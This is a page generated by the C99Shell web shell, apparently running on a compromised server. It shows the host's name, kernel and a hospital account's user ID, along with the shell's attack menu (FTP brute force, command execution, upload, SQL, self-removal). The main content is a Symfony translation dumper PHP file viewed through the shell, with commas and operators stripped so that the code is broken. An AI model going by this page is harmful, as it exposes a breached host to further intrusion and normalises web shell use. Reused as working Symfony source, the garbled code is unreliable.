!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php55/usr/share/pear/Symfony/Component/Translation/Dumper/   drwxr-xr-x
Free 294.14 GB of 429.69 GB (68.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IcuResFileDumper.php (3.64 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Translation\Dumper;

use 
Symfony\Component\Translation\MessageCatalogue;

/**
 * IcuResDumper generates an ICU ResourceBundle formatted string representation of a message catalogue.
 *
 * @author Stealth35
 */
class IcuResFileDumper implements DumperInterface
{
    
/**
     * {@inheritDoc}
     */
    
public function dump(MessageCatalogue $messages$options = array())
    {
        if (!
array_key_exists('path'$options)) {
            throw new \
InvalidArgumentException('The file dumper need a path options.');
        }

        
// save a file for each domain
        
foreach ($messages->getDomains() as $domain) {
            
$file $messages->getLocale().'.'.$this->getExtension();
            
$path $options['path'].'/'.$domain.'/';

            if (!
file_exists($path)) {
                
mkdir($path);
            }

            
// backup
            
if (file_exists($path.$file)) {
                
copy($path.$file$path.$file.'~');
            }

            
// save file
            
file_put_contents($path.$file$this->format($messages$domain));
        }
    }

    
/**
     * {@inheritDoc}
     */
    
public function format(MessageCatalogue $messages$domain 'messages')
    {
        
$data $indexes $resources '';

        foreach (
$messages->all($domain) as $source => $target) {
            
$indexes .= pack('v'strlen($data) + 28);
            
$data    .= $source."\0";
        }

        
$data .= $this->writePadding($data);

        
$keyTop $this->getPosition($data);

        foreach (
$messages->all($domain) as $source => $target) {
            
$resources .= pack('V'$this->getPosition($data));

            
$data .= pack('V'strlen($target))
                .
mb_convert_encoding($target."\0"'UTF-16LE''UTF-8')
                .
$this->writePadding($data)
                  ;
        }

        
$resOffset $this->getPosition($data);

        
$data .= pack('v'count($messages))
            .
$indexes
            
.$this->writePadding($data)
            .
$resources
              
;

        
$bundleTop $this->getPosition($data);

        
$root pack('V7',
            
$resOffset + (<< 28), // Resource Offset + Resource Type
            
6,                      // Index length
            
$keyTop,                // Index keys top
            
$bundleTop,             // Index resources top
            
$bundleTop,             // Index bundle top
            
count($messages),       // Index max table length
            
0                       // Index attributes
        
);

        
$header pack('vC2v4C12@32',
            
32,                     // Header size
            
0xDA0x27,             // Magic number 1 and 2
            
20002,            // Rest of the header, ..., Size of a char
            
0x520x650x730x42// Data format identifier
            
1200,             // Data version
            
1400              // Unicode version
        
);

        
$output $header
               
.$root
               
.$data;

        return 
$output;
    }

    private function 
writePadding($data)
    {
        
$padding strlen($data) % 4;

        if (
$padding) {
            return 
str_repeat("\xAA"$padding);
        }
    }

    private function 
getPosition($data)
    {
        
$position = (strlen($data) + 28) / 4;

        return 
$position;
    }

    
/**
     * {@inheritDoc}
     */
    
protected function getExtension()
    {
        return 
'res';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0958 ]--